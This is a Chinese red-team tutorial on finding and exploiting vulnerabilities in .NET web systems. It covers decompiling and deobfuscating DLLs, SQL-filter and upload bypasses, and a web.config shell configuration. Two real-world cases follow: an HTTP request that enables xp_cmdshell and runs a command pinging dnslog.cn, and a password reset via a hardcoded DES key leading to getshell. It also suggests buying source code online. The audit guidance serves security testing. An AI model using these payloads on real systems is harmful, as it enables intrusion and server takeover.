首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >攻防技巧|红队快速高效挖掘.net系统漏洞

攻防技巧|红队快速高效挖掘.net系统漏洞

原创
作者头像
亿人安全
发布2025-12-05 10:40:33
发布2025-12-05 10:40:33
3930
举报
文章被收录于专栏:红蓝对抗红蓝对抗

前言

在红队攻防对抗中,.NET系统是出现频次比较高,.NET系统由于其架构特性,通常会将业务逻辑封装在DLL程序集中,通过ASPX/ASHX等页面文件进行调用。这种架构使得我们能够通过反编译技术快速还原源代码,结合静态代码审计和动态测试,快速定位SQL注入、命令执行、文件上传、反序列化等常见高危漏洞。本文将围绕获取源码、反编译、漏洞快速定位、绕过技巧和实战案例来帮助师傅们快速在红队场景中挖掘0day


源码获取

凌风云网盘

https://www.lingfengyun.com/

图片
图片

闲鱼购买

图片
图片

指纹提取旁站扫描备份文件

指纹提取 body=”xxxx” + 压缩文件目录扫描 (指定文件名www.zip)

图片
图片

反编译dll+去混淆

反编译 / 静态查看:ILSpy、dnSpy、dotPeek

dnSpy单个打开并导出到工程

图片
图片

使用dnSpy批量打开:

File -> Open -> 选择整个 bin 目录dnSpy会自动加载所有程序集

使用ILSpy命令行:

# 安装 ilspycmddotnet tool install ilspycmd -g# 反编译整个目录ilspycmd -p -o output_dir .\bin\*.dll# 反编译到单个文件ilspycmd -p -o output.cs .\bin\YourApp.dll

使用脚本批量反编译:

把下面的代码保存为bat文件,放到bin目录下,该bat脚本会在每个DLL所在目录下创建一个与 DLL 同名的文件夹

(例如C:\xxx\lib\test.dllC:\xxx\lib\test\),并将ilspycmd的输出写入该文件夹

@echo offchcp 65001setlocal enabledelayedexpansionREM 从当前目录递归查找所有 dllfor /R %%F in (*.dll) do (    REM %%F = 完整路径(含文件名和扩展名)    set "dll_path=%%F"    set "dll_name=%%~nF"    set "dll_dir=%%~dpF"    set "out_dir=%%~dpF%%~nF"    echo 正在导出 "%%F" 到 "!out_dir!\ ..."    if not exist "!out_dir!\" mkdir "!out_dir!"    ilspycmd -p -o "!out_dir!" "%%F")echo 全部完成!pause

去混淆: 混淆后的代码可能会出现类似的片段:

private string \u0001;private void \u0002(string \u0003){    if (this.\u0001 == \u0003)}

图片
图片

处理混淆代码: 使用 de4dot 去混淆,下载程序添加至环境变量

https://github.com/0xd4d/de4dot

https://github.com/ViRb3/de4dot-cex

de4dot.exe source.dll -o Remove_obfuscated.dllde4dot.exe -r D:\input -ru -ro D:\output

单个反编译太慢,我们可以使用命令或脚本进行快速批量去混淆

#!/usr/bin/env python3import osimport subprocessimport shutilfrom pathlib import Pathimport timedef main():    print("🔧 快速de4dot批量反混淆工具")    print("=" * 40)    try:        result = subprocess.run(["de4dot", "--help"], capture_output=True, text=True, timeout=5)        if result.returncode != 0:            raise Exception("de4dot命令执行失败")        print("✅ de4dot全局命令检查通过")    except Exception as e:        print(f"❌ de4dot全局命令不可用: {e}")        return    current_dir = Path(".")    dll_files = []    for pattern in ["*.dll", "*.exe"]:        dll_files.extend(current_dir.glob(pattern))    exclude_patterns = [        "System.", "Microsoft.", "Newtonsoft.", "EntityFramework",        "Oracle.", "MySql.", "NLog.", "Quartz.", "RestSharp",        "StackExchange.", "Thinktecture.", "BouncyCastle"    ]    filtered_files = [f for f in dll_files if not any(p in f.name for p in exclude_patterns)]    if not filtered_files:        print("❌ 当前目录没有找到需要处理的DLL文件")        return    print(f"📁 找到 {len(filtered_files)} 个文件需要处理:")    for f in filtered_files:        print(f"   - {f.name}")    output_dir = Path("deobfuscated")    output_dir.mkdir(exist_ok=True)    print(f"\n🚀 开始处理...")    print(f"输出目录: {output_dir.absolute()}")    success_count = 0    start_time = time.time()    for i, dll_file in enumerate(filtered_files, 1):        print(f"\n[{i}/{len(filtered_files)}] 🔄 处理: {dll_file.name}")        try:            output_subdir = output_dir / dll_file.stem            output_subdir.mkdir(exist_ok=True)            cmd = ["de4dot", str(dll_file), "-o", str(output_subdir / dll_file.name)]            print(f"   执行: {' '.join(cmd)}")            result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)            if result.returncode == 0:                print(f"   ✅ 成功: {dll_file.name}")                success_count += 1            else:                print(f"   ❌ 失败: {dll_file.name}")        except subprocess.TimeoutExpired:            print(f"   ⏰ 超时: {dll_file.name}")        except Exception as e:            print(f"   ❌ 异常: {dll_file.name} - {e}")    end_time = time.time()    print(f"\n📊 处理完成! 成功 {success_count}/{len(filtered_files)} 个, 耗时 {end_time - start_time:.1f} 秒")    print(f"输出目录: {output_dir.absolute()}")    print("\n🎉 批量反混淆完成!")if __name__ == "__main__":    main()

图片
图片

去混淆前后对比

图片
图片

ashx和dll映射关系

AjaxUpload.aspx,逻辑代码在AjaxUpload.aspx.cs,页面会继承M_Main.AjaxUpload类,并自动绑定事件

图片
图片

这时候我们反编译M_Main.dll,并找到对应的AjaxUpload类,便可以开始愉快的代码审计了

图片
图片

常见漏洞sink点

漏洞类型

漏洞Sink点

审计描述

SQL 注入

ExecuteNonQuery(),ExecuteReader(),ExecuteScalar(),SqlDataAdapter.Fill(),ExecuteSqlCommand(),ExecuteSqlRaw(),CreateSQLQuery(),connection.Query()

检查点:查找 SQL 语句是否通过字符串拼接或格式化(+,String.Format,$"")将Request/Query/Form/Cookie等直接插入。

命令执行(RCE)

Process.Start(),ProcessStartInfo.FileName,ProcessStartInfo.Arguments

检查点:是否把用户输入拼接到命令或传给 shell/PowerShell,FileName与Arguments是否来自外部

文件上传 / 任意文件写入

SaveAs(),WriteAllBytes(),WriteAllText(),FileStream.Write()

检查点:是否校验扩展名、MIME、内容类型、文件名(路径分隔符)、以及保存目录权限;是否防止覆盖已有文件,上传可执行脚本(.aspx/.ashx)getshell

反序列化

BinaryFormatter.Deserialize(),SoapFormatter.Deserialize(),JsonConvert.DeserializeObject(),LosFormatter.Deserialize()

检查点:反序列化是否对不可信输入(Request、Cookie、ViewState、文件等)执行;是否使用不安全的序列化库(BinaryFormatter、SoapFormatter)

任意文件读取

File.ReadAllBytes(),File.ReadAllText(),Response.WriteFile(),Response.TransmitFile(),File()

检查点:是否将用户参数直接作为文件路径输出或读取;是否存在未做路径合法化的文件下载接口。

路径遍历

Server.MapPath(),Path.Combine(),File.Delete(),Directory.GetFiles()

检查点:路径拼接是否包含未过滤的用户输入;Path.Combine后是否做规范化校验。

XXE(XML External Entity)

XmlDocument.LoadXml(),XmlDocument.Load(),XmlReader.Create(),DataSet.ReadXml()

检查点:XML 解析是否启用了外部实体解析(DTD);是否解析来自不受信任来源的 XML。

SSRF

WebClient.DownloadString(),HttpClient.GetAsync(),WebRequest.Create(),HttpClient.PostAsync()

检查点:是否允许用户指定 URL 并由服务器发起请求;是否对目标地址做白名单或内部地址检测。

远程文件下载

WebClient.DownloadFile()、HttpClient.GetStreamAsync()、HttpClient.GetByteArrayAsync()

检查点:是否允许用户提供远程文件 URL(例如通过参数、表单、配置等输入),是否存在任意文件写入风险(保存路径是否可控、是否拼接了用户输入

未授权访问

检查默认路由暴露
  • 默认路由{controller}/{action}/{id}会将所有 public action 暴露出来
  • 查找未授权用户访问敏感控制器/方法,列出所有 Controller 和 public Action,与路由匹配,判断是否有不应暴露的接口

var controllerTypes = typeof(MvcApplication).Assembly.GetTypes()    .Where(t => t.IsSubclassOf(typeof(Controller)));foreach (var ctrl in controllerTypes){    var actions = ctrl.GetMethods(BindingFlags.Public | BindingFlags.Instance)        .Where(m => m.ReturnType.IsSubclassOf(typeof(ActionResult)) || m.ReturnType == typeof(ActionResult));    Console.WriteLine($"{ctrl.Name}: {string.Join(", ", actions.Select(a => a.Name))}");}

ASMX公开访问

ASMX是一种用于创建 Web 服务的技术,公开未授权的 .asmx 方法可能允许读取或写入敏感数据(例如GetUserResetPasswordUploadFile

  • 黑盒:目录扫描枚举.asmx文件名与常见服务名称,如service.asmxwebservice.asmxCommonService
图片
图片
  • 白盒:利用命令dir /s /b *.asmx或者everything筛选出存在且能访问到的webservice服务
图片
图片

https://github.com/SmartBear/soapui

soap发包,部分时候需要对内容进行html编码

图片
图片
web.config查看 HTTP 处理器配置 (handlers)

<handlers> <add name="AjaxMethod" verb="POST,GET" path="ajax/*.ashx" type="Ajax.PageHandlerFactory, Ajax" /> <add name="scissors" path="scissors.axd" verb="*" type="BitmapCutter.Core.HttpHandler.BitmapScissors,BitmapCutter.Core" /></handlers>

分析方法:

  • path="ajax/*.ashx"→ 表示/ajax/*.ashx路径可访问
  • path="scissors.axd"→ 表示/scissors.axd路径可访问
  • verb="POST,GET"verb="*"→ 表示支持的HTTP方法
[AllowAnonymous]

在ASP.NET中,当使用 [AllowAnonymous] 特性来标记控制器的 action 方法,以允许匿名访问, 即不需要进行身份验证

[Route("uploadAnony")]定义路由为/uploadAnony

[AllowAnonymous]允许匿名访问,没有任何登录或鉴权验证,意味着前台能直接上传文件

[HttpPost]限定此接口仅响应 POST 请求,外部通过 POST /uploadAnony 即可访问此方法

[Route("uploadAnony")][AllowAnonymous][HttpPost]public IHttpActionResult uploadAnony(string code){    HttpPostedFile A3 = HttpContext.Current.Request.Files[Class0.aHX()];    string A4 = A2[Class0.ahA()];    string B = A4.Split('.').ToList().Last();    A3.SaveAs(text);}

图片
图片

绕过技巧

SQL注入绕过

大多数系统会全局过滤SQL注入关键字,类似片段如下

图片
图片

检测了以下关键字,当检测到会报错停止

exec|insert|select|delete|update|truncate|or|drop|xp_cmdshell|waitfor delay|--

图片
图片

这时候我们就可以尝试fuzz未检测的关键字进行绕过,使用如下:

union, and, or, where, from, table, database, information_schema, waitfor, delay, sleep, benchmark, extractvalue, updatexml

除此以外,还可以使用以下方法进行绕过:

  • 大小写绕过:SelEct
  • 字符编码绕过:Unicode编码: 使用%3C%3Fxml等编码
  • 特殊字符绕过:使用\t\n替代空格、注释符: 使用/* */等注释符
文件上传绕过

在 Windows 操作系统中,文件名末尾的点.通常被视为无效字符。当创建或保存文件时,Windows 会自动去除文件名末尾的点

string fileName = Path.GetFileName(fileUpload.FileName);string fileExt = Path.GetExtension(fileName)?.ToLowerInvariant();string[] banned = { ".asp", ".aspx", ".jsp", ".jspx" };if (banned.Contains(fileExt)){    Response.Write("不允许上传的文件类型");    return;}

图片
图片
403 Bypass绕过

存在任意⽂件上传漏洞,上传asp、aspx后,目录⽆法解析提示403禁⽌访问

图片
图片

解决⽅案:上传web.config格式的shell⽂件,可解析成功

通过移除 .config 保护,将所有 .config 映射为可写入且可执行的 ASP 脚本,实现 IIS 对 .config 文件的完全脚本执行与写入权限放开

<handlers accessPolicy="Read, Script, Write">   <add name="web_config" path="*.config" verb="*"         modules="IsapiModule"        scriptProcessor="%windir%\system32\inetsrv\asp.dll"        resourceType="Unspecified"        requireAccess="Write" preCondition="bitness64" /></handlers><security>   <requestFiltering>      <fileExtensions>         <remove fileExtension=".config" />      </fileExtensions>      <hiddenSegments>         <remove segment="web.config" />      </hiddenSegments>   </requestFiltering></security>

图片
图片

实战案例1:虚拟路径映射+前台Sql注入

Fofa资产数量1500多,也算是个小通杀

图片
图片

Web.config<httpHandlers>节点中配置了以下可直接前台访问的 .ashx 文件:

这些路径通过 Web.config 中的<httpHandlers>节点配置,是虚拟路径映射,不需要物理文件存在

图片
图片

文件位置:bin/xxxx/AppDataHandler.cs

图片
图片

首先提供两个危险方法:

  • ExcuteNonQuerry- 执行 INSERT/UPDATE/DELETE 等操作
  • GetDataTableByText- 执行 SELECT 查询并返回结果

public void ProcessRequest(HttpContext context){ context.Response.Cache.SetCacheability(HttpCacheability.NoCache); switch (context.Request["action"]) { case "ExcuteNonQuerry": ExcuteNonQuerry(context); break; case "GetDataTableByText": GetDataTableByText(context); break;

接口直接从请求参数中读取cmdtext,用户提交的cmdtext参数直接作为 SQL 语句执行

string cmdText = context.Request["cmdtext"];

然后传入数据库执行,没有任何输入校验、SQL 拼接检查或白名单过滤

bool flag = iDDatabase.ExecuteNonQuery(cmdText);DataSet dataSet = iDDatabase.GetDataSet(cmdText);

图片
图片

执行命令还需要开启xpcmdshell,打开“显示高级选项”,然后将xp_cmdshell设置为1

图片
图片

POST /xxxxx/AppData.ashx HTTP/1.1Host: target.comContent-Type: application/x-www-form-urlencodedCookie: XXXaction=ExcuteNonQuerry&cmdtext=EXEC+sp_configure+'show+advanced+options',1;RECONFIGURE;EXEC+sp_configure+'xp_cmdshell',1;RECONFIGURE;EXEC+xp_cmdshell+'ping+dnslog.cn'

后续要getshell,可以选择找前台资源路径写shell或者直接命令上线,就不详细赘述了

图片
图片
图片
图片

实战案例2:重置密码+后台任意文件上传

通过ID越权获取身份证号

只检验id是否存在,符合类型则返回结果,没有检查请求者是否为该id的拥有者或有权限访问该用户信息

图片
图片

身份证号重置密码

图片
图片
  • 通过gidcard参数在GUARDER表中查找记录,如果不存在,返回错误信息
  • 接着再去验证gurpass是否正常解密

GUARDER gUARDER = base.IocBase.GUARDERService.Get((GUARDER o) => o.IDENTITYNO == gidcard);if (gUARDER == null){    return HtmlHelpers.FailJsonResult("身份证号不存在!");}

DesDecrypt函数,硬编码key = "123456"

string message = gurpass;gurpass = des.DesDecrypt("123456", message);public static string DesDecrypt(string key, string message){     return DES(key, HexToString(message), isEncrypt: false, 0, "");}

整个gurpass解密过程大体如下

WeiXinController.DoResetGPwd()    ↓des.DesDecrypt()    ├─→ HexToString()    └─→ DES()        ├─→ DES_CreateKey()        │   └─→ MoveByte()        └─→ MoveByte()

根据解密逻辑编写脚本进行加密

图片
图片

使用存在的身份证号成功重置密码

图片
图片

后台任意文件上传

审计要点:

# 查找文件上传相关代码grep -r "SaveAs\|WriteAllBytes\|FileStream.*Write" decompiled_output/grep -r "HttpPostedFileBase\|IFormFile" decompiled_output/

图片
图片

可以看到这里直接拼接路径回显,没有限制上传后缀

private ResponseData UploadFiles(HttpContext context){    ResponseData responseData = new ResponseData();    string strErrorMsg;    List<Dictionary<string, string>> list = ReceiveFiles(context, AccessaryType.Customize, -1, out strErrorMsg);    // ...}{    if (context.Request.Files.Count > 0)    {        for (int i = 0; i < context.Request.Files.Count; i++)        {            HttpPostedFile httpPostedFile = context.Request.Files[i];            if (httpPostedFile.ContentLength > 0)            {                string extension = Path.GetExtension(httpPostedFile.FileName);  // ❌ 未验证                string text3 = Guid.NewGuid().ToString() + extension;                httpPostedFile.SaveAs(text2 + text3);  // ❌ 直接保存            }        }    }}

但是这里 text2、text3是根据时间生成的路径不可控,如果想要getshell需要看该路径下是否能解析aspx、ashx

图片
图片

幸运的是能解析

图片
图片

如果像下面这种FilePathPathType由用户可控,getshell则容易许多

protected void Page_Load(object sender, EventArgs e){    if (base.Request.Files["Filedata"] != null)    {        HttpPostedFile httpPostedFile = base.Request.Files["Filedata"];        string text = base.Request["FilePath"];  // 用户可控的路径        if (string.IsNullOrEmpty(text))        {            string text2 = base.Request["PathType"];  // 用户可控            if (string.IsNullOrEmpty(text2) || text2 == "Default")            {                 text = $"Accessary/{DateTime.Today.Year:D4}/{DateTime.Today.Month:D2}";            }            else            {                AccessaryType accessaryType = (AccessaryType)Enum.Parse(typeof(AccessaryType), text2, ignoeCase: true);                text = CGeneral.GetAccessaryDir(accessaryType);            }        }

或者是像这种路径拼接的,可以通过../../../进行路径遍历,写到前台可以访问解析的路径下

string folder = Request["folder"];string path = Path.Combine("~/uploads/", folder, fileName);  file.SaveAs(Server.MapPath(path));

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 源码获取
  • 反编译dll+去混淆
  • ashx和dll映射关系
  • 常见漏洞sink点
  • 未授权访问
    • 检查默认路由暴露
    • ASMX公开访问
    • web.config查看 HTTP 处理器配置 (handlers)
    • [AllowAnonymous]
  • 绕过技巧
    • SQL注入绕过
    • 文件上传绕过
    • 403 Bypass绕过
  • 实战案例1:虚拟路径映射+前台Sql注入
  • 实战案例2:重置密码+后台任意文件上传
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档